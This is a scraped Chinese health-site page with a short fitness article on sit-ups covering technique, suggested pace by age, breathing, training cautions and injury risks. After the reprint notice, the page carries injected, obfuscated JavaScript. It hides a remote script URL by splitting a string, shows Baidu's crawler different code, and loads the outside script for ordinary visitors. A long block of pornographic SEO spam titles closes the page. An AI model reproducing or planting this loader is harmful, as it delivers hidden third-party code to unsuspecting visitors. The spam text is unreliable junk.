當前位置:首頁 > 減肥 > 運動減肥 > 正文

做仰臥起坐肚子

2017-04-21 15:02:38  來源:360常識網   熱度:
導語:仰臥起坐在日常的健身活動中是非常常見的一種鍛煉方式,有時候在學校的體育測試中也是一項測試考核項目或者是包含在一些減肥健身的計劃中,

仰臥起坐在日常的健身活動中是非常常見的一種鍛煉方式,有時候在學校的體育測試中也是一項測試考核項目或者是包含在一些減肥健身的計劃中,仰臥起坐一般就是針對腰腹的脂肪和肌肉群的鍛煉,脂肪和肌肉相比更多的鍛煉的是肌肉力量,如果在鍛煉的過程中需要做一些仰臥起坐運動,對肚子有什么影響呢?需要注意的事項又有哪些呢?

第一我們了解仰臥起坐的動作要領,仰臥的時候,兩腿并攏,兩手上舉,利用腹肌收縮,兩臂向前擺動,迅速成坐姿,上體繼續前屈,兩手觸腳面,低頭;然后還原成坐姿。如此連續進行。練仰臥起坐,速度要因人而異。最初可以嘗試一分鐘做5次,此后慢慢增加,直至達到30次左右。30歲以下的女性,很多是出于防止婦科病的目的練習的,這時頻率最好控制在每分鐘45~50個,隨年齡的增加而遞減,50歲以上的一分鐘做25個就可以了。對于那些有一定健身基礎的練習者,更多的是想通過練習達到增強腹部力量的目的,這樣要保證一分鐘做60次左右。同時,做仰臥起坐時應配合以合理的呼吸,在做仰臥起坐時,身體前屈時應呼氣,仰臥時應吸氣。

第二要在健身過程中注意三個事項1.逐漸增加仰臥起坐反復次數對于一位剛開始以仰臥起坐來訓練腹部肌肉的參與者而言,每次仰臥起坐的次數以不超過10個反覆為原則 (先訓練您腹部肌肉的肌力) ,每完成一次的仰臥起坐后,應站起或躺下休息,讓腹部肌肉能夠放松10分鐘以上。2.慢慢進行仰臥起坐主要是以腹部肌肉的耐力為訓練目標,因此,只有慢慢進行仰臥起坐的運動方式,比較能夠確實訓練腹肌的耐力。3.仰臥起坐的動作人體上腹部的肌肉,主要有腹直肌、腹外斜肌與腹內斜肌。因此,如果仰臥起坐的動作,都是以上半身在矢狀面 (雙肩平行的起坐動作) 上的動作進行時,腹外斜肌與腹內斜肌的訓練效果會受到明顯的限制,只有增加身體縱軸 (右肩帶向左腿與左肩帶向右腿) 旋轉的動作,才可以避免腹肌訓練的不協調狀態。

其實每個人都會希望自己的身體健康體態優美,但是要注意防止運動傷害的發生,就仰臥起坐來說它在鍛煉過程中最有可能就是由于做的過于快速,有力太猛,而造成肌肉拉傷,如果姿勢不對也有可能扭到脖子的筋或肌肉,所以鍛煉過程中需要再結合其他有氧運動才能達到最佳效果。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
国产精品国产三级国产专播| 亚洲∧v久久久无码精品| 国产自偷在线拍精品热| 国产精品免费观看| 99精品国产在这里白浆| 久久久九九有精品国产| 91精品国产高清久久久久久io| 成人午夜精品网站在线观看| 精品久久久99大香线蕉| 久久精品成人一区二区三区| 亚洲精品乱码久久久久久蜜桃图片| 亚洲国产精品综合福利专区| 久久99精品久久久久久动态图| 国产精品福利自产拍在线观看| 国产亚洲综合成人91精品| 最新国产精品拍自在线观看| 久久狠狠一本精品综合网| 久久这里只有精品视频99| 国产精品免费一区二区三区| 国产精品亚洲视频| 国内精品国语自产拍在线观看| 久久99亚洲综合精品首页| 国产午夜精品久久久久九九电影| 精品国偷自产在线视频| 国内精品久久久久久中文字幕 | 亚洲午夜精品久久久久久app| 91精品久久久久久无码| 99rv精品视频在线播放| 亚洲精品无码日韩国产不卡av| 无码国产精品一区二区免费| 人妻熟妇乱又伦精品HD| 蜜臀91精品国产免费观看| 国产a不卡片精品免费观看| 成人精品在线视频| 国内精品久久久久国产盗摄 | 日本精品无码一区二区三区久久久| 2020国产精品永久在线| 麻豆精品国产免费观看| 午夜精品久久久久久久99热| 精品国产污污免费网站入口| 国产精品一区二区久久国产|